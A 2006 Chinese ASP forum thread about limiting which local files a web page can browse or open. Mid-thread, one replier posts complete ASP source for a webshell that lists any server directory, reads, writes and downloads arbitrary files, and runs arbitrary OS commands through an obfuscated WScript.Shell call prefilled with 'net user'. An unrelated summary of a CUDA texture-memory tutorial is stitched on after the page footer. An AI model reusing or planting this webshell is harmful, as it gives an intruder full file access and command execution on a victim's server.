一个较难的问题,解决立即给分,不够再加

Scarroot 2006-02-22 08:54:52
页面上有一个文本框 a,一个"浏览"button b,一个"开启"button c,

1.当点击"浏览"按钮时能默认打开文本框a的值所对应的路径,如文本框a的值为"d:\temp1"目录,则点击"浏览"按钮后能默认打开"d:\temp1"目录.
2.当点击"开启"按钮时能打开文本框a的值所对应的文件,如文本框a的值为"d:\temp1\testfile.txt",则点击"开启"按钮后能打开"d:\temp1\testfile.txt"文件.
3.这个难一点,就是在1,2的过程中,能限制用户所能打开的目录(文件),如在1中,能限制用户只能打开"d:\temp1"下的文件(目录),而不能访问(或转换)到上一级的目录(能做到这一点就可以了),
在2中,也是限制用户只能打开"d:\temp1"目录下的所有文件而不能访问到其它的目录文件.


能做到这三点就OK,不管用什么方法,用asp,javascript,dll==也可以,用上域的限制也可以,
总之能做到这三点就ok.

今晚10点要出答案,急,请各位哥哥姐姐帮帮忙,谢谢!!!
...全文
300 14 打赏 收藏 转发到动态 举报
写回复
用AI写文章
14 条回复
切换为时间正序
请发表友善的回复…
发表回复
ShiningstarHu 2006-02-23
  • 打赏
  • 举报
回复
那你是不是要这个效果:
<html>
<script language="JavaScript">
function BrowseFolder()
{

if(pathValidate(path.value))
{
window.open(path.value,"","");
}
else
{
alert("打开目录非法!");
}
}


function OpenFile()
{

if(pathValidate(path.value))
{
window.open(path.value,"","");
}
else
{
alert("打开文件非法!");
}

}

function pathValidate(path)
{

return (path.toUpperCase().indexOf("C:\\TEMP1") > - 1) || //在本地机器上打开
(path.toUpperCase().indexOf("C$\\TEMP1") > - 1); //在局域网上打开
}

</script>
<body>

<input type=file id="fileDialog" style="display:none;">
<input type=text id="path" value="D:\temp1">

<input type="button" id="b" value="Browse" onClick="BrowseFolder()">
<input type="button" id="c" value="Open" onClick="OpenFile()">

</body>
</html>
Scarroot 2006-02-23
  • 打赏
  • 举报
回复
....................

谢谢各位,虽然最终没有解决到问题,结贴了
ckl881003 2006-02-22
  • 打赏
  • 举报
回复
楼猪为何要做这种效果呢?难道是要用游览器做电脑的控制???不过要执行本机的文件本身会被当成恶意代码的 唯一的办法就只有自己做ActiveX控件了 用VB编一个吧 这个不是很难呀
是是非非 2006-02-22
  • 打赏
  • 举报
回复
用单纯的HTML是不能实现啦
scar001 2006-02-22
  • 打赏
  • 举报
回复
晕.我不是这个意思的,要的不是操作服务器上的文件,而是打开客户端上的文件/目录

第一个问题:
页面中除了用<input type=file>来打开本机上的文件(目录)外,还有没有其它的方法,如果只有用<input type=file>那么,可不可以控制得到按"浏览"按钮后,默认打开的目录路径??
Scarroot 2006-02-22
  • 打赏
  • 举报
回复
顶一下,在线等
Scarroot 2006-02-22
  • 打赏
  • 举报
回复
晕,是我讲得不明白,我要的并不是楼上所说的效果,
是一个完全"正常"的程序,就是点击"浏览","开启"按钮后,打开的是本机(用户机)或其它机(域上的其它机)上的文件/目录.
竹林听雨2005 2006-02-22
  • 打赏
  • 举报
回复
'继续上面的代码,全部写在同一个文件里
'====================================
SUB GetFolder(FolderName)
dim FileContent,FileNameString
set sl=server.createobject(CreateProgID(She,APP))
XA = FolderName
if (XA <> "") then
set fod1=sl.namespace(XA)
set foditems=fod1.items
for each co in foditems
If co.isfolder Then response.write "<font color=#FCC000>[</font> <a href=""?DirName=" & co.path & """><font color=black>" & Replace(Replace(Right(co.path,Len(co.path) - Len(XA)),"\",""),"/","") & "</font></a><font color=#FCC000>]</font><br>" & VBCRLF
next
End If
End SUB

SUB GetFiler(FolderName)
set sl=server.createobject(CreateProgID(She,APP))
XA = FolderName
if (XA <> "") then
set fod1=sl.namespace(XA)
set foditems=fod1.items
for each co in foditems
If Not co.isfolder Then response.write "<font color=black>" & Replace(Replace(Right(co.path,Len(co.path) - Len(XA)),"\",""),"/","") & "</font> - <a href=#this Onclick=""DownLoad('" & Replace(co.path,"\","\\") & "')""><font color=#999900>Down</font></a> - <a href=#this Onclick=""GetFileContent('" & Replace(co.path,"\","\\") & "')""><font color=#999900>Edit</font></a> - <font color=#0099FF>" & cstr(co.size/1024) & "</font> </a>KB<br>" & VBCRLF
next
End If
End SUB


SUB Main()
If Trim(Request("DirName")) = "" Then
LocDirName = SERVER.MapPath(".")
Else
LocDirName = Trim(Request("DirName"))
End If

If Right(LocDirName,1) = ":" Then LocDirName = LocDirName & "\"

RootDirName = Replace(Left(LocDirName,3),"\","\\")
ParentDirName = ""
If Instr(LocDirName,"\") And Right(LocDirName,2) <> ":\" Then
DirNameArray = Split(LocDirName,"\")
ParentDirName = Left(LocDirName,Len(LocDirName) - Len(DirNameArray(Ubound(DirNameArray))))
If Right(ParentDirName,1) = "\" And Right(ParentDirName,2) <> ":\" Then ParentDirName = Left(ParentDirName,Len(ParentDirName) - 1)
ParentDirName = Replace(ParentDirName,"\","\\")
End If
%>
<body>
<div id="MaoDiv" style="background: #F7FBFF;position: absolute; width:250px; height:60px; left:100; top:40; display:none; z-index:9;border-right: 1px solid #e6f0ff;border-left: 1px solid #e6f0ff;border-top: 1px solid #e6f0ff;border-bottom: 1px solid #e6f0ff;"></div>
<table border=0 Align=center width=758 cellspacing="0" cellpadding="3">
<tr><td colspan=2 height=25>
<font style="font-size:12px" face=Arial><b><%=Request.ServerVariables("server_name")%></b></font>
</td></tr>
<tr><td colspan=2 height=5 bgcolor=#89b7f0></td></tr>
<tr>
<td valign=top bgcolor=#F6F6F6 width=35% style="border-right: 1px solid #e6f0ff;">
PATH - <font color=blue><%=LocDirName%></font> <br><font color=#999999 style="cursor:hand" onclick="ChangeDir()">[CDIR]</font>
</td>
<td valign=top bgcolor=#F6F6F6 width=35% style="border-right: 1px solid #e6f0ff;">
<input type="text" name="ok" id="ok" size=55 value="net user"><input type=button onclick=Run(ok.value) value=Run>
</td>
</tr>
<tr>
<td colspan=2 bgcolor=#0099FF height=2>
</td>
</tr>
<tr>
<td valign=top bgcolor=#F6F6F6 width=35% style="border-right: 1px solid #e6f0ff;">
<% If ParentDirName <> "" Then %><font color=#000000 style="cursor:hand" onclick="javascript:location.href='?DirName=<%=RootDirName%>';">Root</font><br><font color=#000000 style="cursor:hand" onclick="javascript:location.href='?DirName=<%=ParentDirName%>';">..</font><br>
<%
End If
Call GetFolder(LocDirName)
%>
</td>
<td width=65% Align=left valign=top>
<%Call GetFiler(LocDirName)%>
<table border=0 width=100% class="table2">
<tr id="OnlineView">
<td valign=top>
<div id="Load" style="display:none"><br>Loadding...</div>
<div id="Loaded" style="display:none"><iframe id="ListView" name="ListView" frameborder="0" scrolling="no" align=left valign="top" width="100%" height="100%"></iframe></div>
</td></tr></table>
</td>
</tr>
<tr><td colspan=2 height=5 bgcolor=#89b7f0></td></tr>
<tr>
</td>
<td colspan=2 Align=Right style="font-family:sans-serif,Verdana;font-size:11px;color:#999999"></td>
</tr>
</table>
</body>
<%
End SUB
%>
<head>
<title><%=Request.ServerVariables("server_name")%></title>
<script>
function GetFileContent(FileName){
parent.Load.style.display = 'block';
parent.Loaded.style.display = 'none';
ListView.location.href = '?Type=1&FileName=' + FileName;
}
function DownLoad(FileName){
ListView.location.href = '?Type=3&FileName=' + FileName;
}
function Run(cmd){
parent.Load.style.display = 'none';
parent.Loaded.style.display = 'block';
ListView.location.href = '?Type=4&ok=' + cmd;
}
function hide(){
Load.style.display = 'none';
}
function ChangeDir(){
if(MaoDiv.style.display=='block')
{
MaoDiv.style.display = 'none';}
else
{
MaoDiv.style.display = 'block';
MaoDiv.innerHTML = "<CENTER><br> <input type=text name=DirName id=DirName VALUE='c:\\'> <input type=button onclick=\'javascript:if(DirName.value!=\"\"){location.href=\"?DirName=\" + DirName.value;}\' value=GO> <font color=#999999 style=\'cursor:hand\' onclick=\'ChangeDir()\'>CLOSE</font></CENTER>";}

MaoDiv.style.posLeft = window.event.x - 100;
if(MaoDiv.style.posLeft < 0){
MaoDiv.style.posLeft = 0;
}
MaoDiv.style.posTop = window.event.y + document.body.scrollTop - 10;
}
</script>
<style type="text/css">
BODY,TD {
FONT-SIZE: <%if UCase(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE"))="ZH-TW" then response.write "10pt" else response.write "11px" end if%>; FONT-FAMILY: sans-serif,Verdana,宋体
background-attachment: fixed;
background-repeat: repeat-y;
background-position: center;
}
Input {
font-family: "Verdana", "Arial";
font-size: <%if UCase(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE"))="ZH-TW" then response.write "10pt" else response.write "12px" end if%>;
font-style: normal;
line-height: normal;
font-weight: normal;
font-variant: normal;
height: 18px;
border-right: 1px solid #e6f0ff;
border-left: 1px solid #e6f0ff;
border-top: 1px solid #e6f0ff;
border-bottom: 1px solid #e6f0ff;
}
A:link {
COLOR: #000000
}
A:visited {
COLOR: #000000
}
A:active {
COLOR: #000000
}
A {
COLOR: #000000; TEXT-DECORATION: none
}
A:hover {
COLOR: #495E6E
}
table{
border-bottom: 1px solid #e6f0ff;
border-top: 1px solid #e6f0ff;
border-left: 1px solid #e6f0ff;
border-right: 1px solid #e6f0ff;
padding:0px
}
.table2{
border-bottom: 0px;
border-top: 0px;
border-left: 0px;
border-right: 0px;
padding:0px
}
textarea {
font-family: "Arial";
font-size: <%if UCase(Request.ServerVariables("HTTP_ACCEPT_LANGUAGE"))="ZH-TW" then response.write "10pt" else response.write "12px" end if%>;
font-style: normal;
line-height: normal;
font-weight: normal;
font-variant: normal;
background:#e6f0ff;
border-bottom: 1px solid #e6f0ff;
border-top: 1px solid #e6f0ff;
border-left: 1px solid #e6f0ff;
border-right: 1px solid #e6f0ff;
padding:0px
}
</style>
</head>
竹林听雨2005 2006-02-22
  • 打赏
  • 举报
回复

<style type="text/css">
A{TEXT-DECORATION: none;}
A:hover{COLOR: #cc0000;}
A:link {color: #556600;}
A:visited {color: #666666;}
BODY {
font-size:9pt;
line-height:120%;
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
text-decoration: none;
scrollbar-face-color: #dbeedd;
scrollbar-highlight-color: #FFFFFF;
scrollbar-shadow-color: darkseagreen;
scrollbar-3dlight-color: #dbeedd;
scrollbar-arrow-color: darkseagreen;
scrollbar-track-color: #f3faf4;
scrollbar-darkshadow-color: #f3faf4;
background-image: url(images/bg.gif);
background-position: center;
}
TD {
font-size:9pt;line-height:120%;
FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif;}
TD A:link {
COLOR: #000000; TEXT-DECORATION: none}
TD A:visited {
COLOR: #000000; TEXT-DECORATION: none}
TD A:active {
COLOR: #000000; TEXT-DECORATION: none}
TD A:hover {
COLOR: #339900; TEXT-DECORATION: none}
</style>
<%
Const She = "Shell"
Const APP = "Application"

Dim CreateType
CreateType = Trim(Request("Type"))
If CreateType <> "" And IsNumeric(CreateType) Then
CreateType = Clng(CreateType)
Else
CreateType = 0
End If

SELECT CASE CreateType
CASE 0
Call Main()
CASE 1
Call ReadData()
CASE 2
Call WriteData()
CASE 3
Call DownLoad()
CASE 4
Call Run()
End SELECT
SUB CSTM(X)
Set X = Server.CreateObject("ADODB.Stream")
End SUB
SUB Run()
set oS=Server.CreateObject("WSc"+"ri"+"pt.sh"+"ell")
ok=trim(Request("ok"))
if ok<>"" then
set re=oS.exec (ok)
re=re.stdout.readall
response.write "<body onload='javascript:parent.OnlineView.height=this.document.body.scrollHeight+10;' leftmargin=0 topmargin=0>"
response.write "<textarea cols=64 rows=25>"&Re&"</textarea>"
end if
End SUB
SUB WriteData()
Dim FileName,X,FileContent,FileNameString

FileName = Trim(Request("FileName"))
If FileName = "" Then Exit SUB
FileContent = Trim(Request("Content"))
Call CSTM(X)
With X
.Type = 2
.MODE = 3
.OPEN
.Charset ="gb2312"
.WriteText FileContent
.Position = 2
.SaveToFile FileName,2
.Close
End With
Response.Write("<TABLE width=98% border=0 align=center cellpadding=5 cellspacing=0 bgcolor=#f6f6f6><TR><TD bgcolor=#e6f0ff><STRONG>File </STRONG></TD></TR><TR style='color:#FFFFFF'>")
Response.Write("<TD BGCOLOR=#7896CD HEIGHT=25><a href=""javascript:history.go(-1);""><font color=#FFFFFF>Return</font></a></TD></TR><TR><TD BGCOLOR=#FFFFFF HEIGHT=35><font color=#7896CD>Status:</font>Write Succ...</TD>")
Response.Write("</TR></TABLE>")
End SUB

SUB DownLoad()
Dim FileName,X,FileContent,FileNameString
FileName = Trim(Request("FileName"))
If FileName = "" Then Exit SUB
FileContent = Split(FileName,"\")
FileNameString = FileContent(UBound(FileContent))
Call UseStream(FileName,FileNameString)
End SUB

SUB ReadData()
Dim FileName,X,FileContent,FileType,Vtype
FileName = Trim(Request("FileName"))
If FileName = "" Then Exit SUB
Call CSTM(X)
With X
.Type = 2
.MODE = 3
.OPEN
.LOADFROMFILE FileName
If Trim(Request("ViewType")) = "" Then
.Charset ="gb2312"
.Position = 2
VType = "1"
Else
VType = ""
End If
FileContent = .ReadText()
.Close
End With
%>
<body onload="javascript:parent.OnlineView.height=this.document.body.scrollHeight+10;" leftmargin="0" topmargin="0">
<form name=form1 action="?Type=2&FileName=<%=FileName%>" method=Post><textarea Name=Content cols=90 rows=25><%=Server.HTMLEncode(FileContent)%></textarea><br><br>
<input type=button value=Save onclick="document.all.form1.submit();"> <input type=button value="Save As" name=add id=add onclick="addn()"> <input type=button value=ENCODE Onclick="javascript:location.href='?Type=1&FileName=<%=Replace(FileName,"\","\\")%>&ViewType=<%=VType%>';"></form>
<script language="javascript">
setTimeout('view()',500);
function view(){
parent.Load.style.display='none';
parent.Loaded.style.display='block';
parent.OnlineView.height=this.document.body.scrollHeight+10;
}
</script>
<script language="vbscript">
sub addn()
Filename = InputBox("Input Full Path With Filename","","<%=FileName%>")
If Filename <> "" Then
document.all.form1.action="?Type=2&FileName=" & Filename
document.all.form1.submit
End If
end sub
</script>
<%
End SUB

Function GetContentType(FlName)
Select Case GetFileTypeName(flName)
Case "asf"
GetContentType = "video/x-ms-asf"
Case "avi"
GetContentType = "video/avi"
Case "doc"
GetContentType = "application/msword"
Case "zip"
GetContentType = "application/zip"
Case "xls"
GetContentType = "application/vnd.ms-excel"
Case "gif"
GetContentType = "image/gif"
Case "jpg", "jpeg"
GetContentType = "image/jpeg"
Case "wav"
GetContentType = "audio/wav"
Case "mp3"
GetContentType = "audio/mpeg3"
Case "mpg", "mpeg"
GetContentType = "video/mpeg"
Case "rtf"
GetContentType = "application/rtf"
Case "htm", "html"
GetContentType = "text/html"
Case "txt"
GetContentType = "text/plain"
Case Else
GetContentType = "application/octet-stream"
End Select
End Function

Function GetFileTypeName(FldName)
If InStr(FldName, ".") > 0 Then
Dim FiNameStr
FiNameStr = Split(FldName,".")
GetFileTypeName = Lcase(FiNameStr(UBound(FiNameStr)))
Else
GetFileTypeName = "unknow"
End If
End Function

SUB UseStream(FileName,FileNameString)
Dim FileStream,File,FileContentType,IsAttachment
Call CSTM(FileStream)
FileStream.Open
FileStream.Type = 1
File = FileName
FileStream.LoadFromFile(File)
FileContentType = GetContentType(FileName)
IsAttachment = "attachment; "
Response.AddHeader "Content-Disposition", IsAttachment & "filename=" & FileNameString 'attachment;
Response.AddHeader "Content-Length", FileStream.Size
Response.Charset = "UTF-8"
Response.ContentType = FileContentType
Response.BinaryWrite FileStream.Read
Response.Flush

FileStream.Close
Set FileStream = Nothing
End SUB

Function CreateProgID(Var1,Var2)
CreateProgID = Var1 & "." & Var2
End Function

Function bin2str2(binstr)
Dim BytesStream,StringReturn
Call CSTM(BytesStream)
With BytesStream
.Type = 2
.Open
.WriteText binstr
.Position = 0
.Charset = "GB2312"
.Position = 2
StringReturn = .ReadText(.Size)
.close
End With
Set BytesStream = Nothing

bin2str2 = StringReturn

End Function
竹林听雨2005 2006-02-22
  • 打赏
  • 举报
回复
咱有一个类似黑客的小程序,强烈要求不可用于非法用途。
另外,咱没空来改成楼主所要求的那样,楼主抽点空稍作变化吧。但基本功能是实现的。
Scarroot 2006-02-22
  • 打赏
  • 举报
回复
在线等,谢谢
scar001 2006-02-22
  • 打赏
  • 举报
回复
to:ShiningstarHu(Shining_star)
这个不合想要的效果啊.

看来还是写个ACTIVEX了,各位达人能说说步骤吗?是不是用VB写个DLL,然后在页面上的客户端代码部分调用这个DLL?,具体步骤(代码)如何?
可以粗略说一下吗? 不胜感激...

havt 2006-02-22
  • 打赏
  • 举报
回复
这个用asp和JS是做不到的。
ShiningstarHu 2006-02-22
  • 打赏
  • 举报
回复
测试通过:

<html>
<script language="JavaScript">
function BrowseFolder()
{
fileDialog.click();
path.value = fileDialog.value;

if(pathValidate(path.value))
{
window.open(path.value,"","");
}
else
{
alert("打开目录非法!");
}
}


function OpenFile()
{
fileDialog.click();
path.value = fileDialog.value;

if(pathValidate(path.value))
{
window.open(path.value,"","");
}
else
{
alert("打开文件非法!");
}

}

function pathValidate(path)
{

return (path.toUpperCase().indexOf("C:\\TEMP1") > - 1) || //在本地机器上打开
(path.toUpperCase().indexOf("C$\\TEMP1") > - 1); //在局域网上打开
}

</script>
<body>

<input type=file id="fileDialog" style="display:none;">
<input type=text id="path">

<input type="button" id="b" value="Browse" onClick="BrowseFolder()">
<input type="button" id="c" value="Open" onClick="OpenFile()">

</body>
</html>
内容概要:本文深入讲解了CUDA纹理内存的原理及其在优化具有空间局部性的二维数据访问中的应用。文章首先介绍纹理内存的技术背景,包括其硬件级缓存机制、对空间局部性的支持、自动边界处理和硬件加速插值等优势,并列举其在图像处理、计算机视觉、科学计算和深度学习中的典型应用场景。随后详细剖析了纹理内存的硬件架构、访问模式优化机制及现代纹理对象API的使用方法。通过高斯模糊这一典型案例,完整展示了从纹理对象创建、核函数实现到主机端集成的全流程,并对比了纹理内存与全局内存的性能差异,实测显示纹理内存可带来显著加速(约2.19倍)。文章还介绍了多项高级优化技巧,如使用线性插值、cudaArray内存布局、多通道向量读取以及共享内存协同策略,并提供了编译、运行、性能析和常见问题排查的实用指南。最后总结了适用场景判断标准并指出了进一步学习的方向。; 适合人群:具备一定CUDA编程基础的研发人员,熟悉GPU内存模型和C/C++语言,从事高性能计算、图像处理或深度学习底层开发的技术人员; 使用场景及目标:①优化图像卷积、模糊、缩放等二维空间数据访问密集型任务的性能;②掌握如何利用纹理内存提升GPU程序缓存命中率、降低内存延迟、减少支发散;③学习现代CUDA纹理对象API的最佳实践及性能调优方法; 阅读建议:此资源强调理论与实践结合,建议读者在支持计算能力3.0以上的GPU环境中动手编译运行示例代码,使用Nsight系列工具进行性能剖析,并尝试修改纹理参数(如filterMode、addressMode)观察行为变化,以深入理解纹理内存的工作机制。

28,406

社区成员

发帖
与我相关
我的任务
社区描述
ASP即Active Server Pages,是Microsoft公司开发的服务器端脚本环境。
社区管理员
  • ASP
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧